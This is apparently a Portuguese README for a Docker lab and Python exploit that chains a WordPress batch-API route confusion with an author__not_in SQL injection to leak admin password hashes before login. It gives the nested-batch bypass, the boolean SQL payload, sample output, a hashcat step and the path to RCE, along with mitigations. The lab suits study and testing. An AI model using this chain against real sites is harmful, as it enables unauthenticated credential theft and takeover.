
Laboratório WordPress vulnerável baseado em Docker com exploit em Python demonstrando confusão de rota pré-autenticação e cadeia de injeção SQL (CVE-2026-63030 + CVE-2026-60137) para extração de credenciais e RCE.
| CVE | Componente | O que é |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: dessincronização entre validação e dispatch de sub-requests |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL injection quando o valor é uma string em vez de array |
Encadeadas, permitem que um atacante sem nenhuma credencial execute SQL arbitrário (e, na sequência completa, chegue a RCE). Corrigido no WordPress 6.9.5 e 7.0.2. Versões afetadas pela cadeia RCE: 6.9.0–6.9.4 e 7.0.0–7.0.1.
⚠️ Aviso: ambiente propositalmente inseguro. Use apenas localmente, isolado. Nunca exponha na internet. O exploit deve ser usado somente contra este lab (ou sistemas para os quais você tenha autorização explícita).
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
Isso cria:
admin / SuperSecret123!victim / Victim_P@ss_2026 (segundo admin, alvo da extração de hash)get_items() retornar linhas)Confirme a versão vulnerável:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
Saída (resumida):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
Outras opções:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
O exploit usa apenas a biblioteca padrão do Python 3 (sem dependências).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
Os hashes devem ser idênticos aos extraídos pelo exploit (que nunca teve acesso ao banco).
serve_batch_request_v1)Em wp-includes/rest-api/class-wp-rest-server.php, o handler do batch usa dois arrays
paralelos: $matches (rota/handler casados) e $validation (resultado da validação):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
No dispatch, o handler é lido por índice em $matches[$i], enquanto $single_request
e $validation[$i] seguem o índice completo de $requests. Um primer que falha o
parse ("///") empurra tudo em $matches uma posição — então uma sub-request é
executada sob o handler de outra.
O schema do batch só aceita métodos POST/PUT/PATCH/DELETE (GET é rejeitado com
rest_not_in_enum). O exploit contorna isso com batch dentro de batch:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier é validado como create_item de posts (passa: allow_batch=true, sem
params obrigatórios). Como não é validado como batch, seu body escapa da validação
do enum de método.carrier ser despachado sob o handler /batch/v1 (roubado da
3ª sub-request) → serve_batch_request_v1 processa o body cru, com sub-requests GET.BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
Novo desync interno → a request GET /wp/v2/users (carregando author_exclude não
sanitizado) é executada sob posts get_items(). Lá:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
E em WP_Query (class-wp-query.php), o código vulnerável:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
Payload booleano usado: 0) AND (<condição>)-- -, transformando o WHERE em oráculo
(lista com posts = verdadeiro; lista vazia = falso). Extração char-a-char por busca binária.
Nota: o caminho é alcançável quando não há object cache persistente (o padrão do lab), como descrito no advisory.
Este lab valida a parte pré-autenticação (route confusion → SQLi → vazamento de hashes), que é o coração da cadeia. A sequência completa do advisory continua com:
$wp$2y$... (bcrypt) offline — hashcat -m 3200./wp-admin com a senha recuperada.author__not_in a inteiros (wp_parse_id_list) mesmo quando é string;/wp-json/batch/v1, desabilitar a REST API
não autenticada, monitorar requests com author_exclude contendo SQL.docker compose down -v # remove containers + volumes (dados)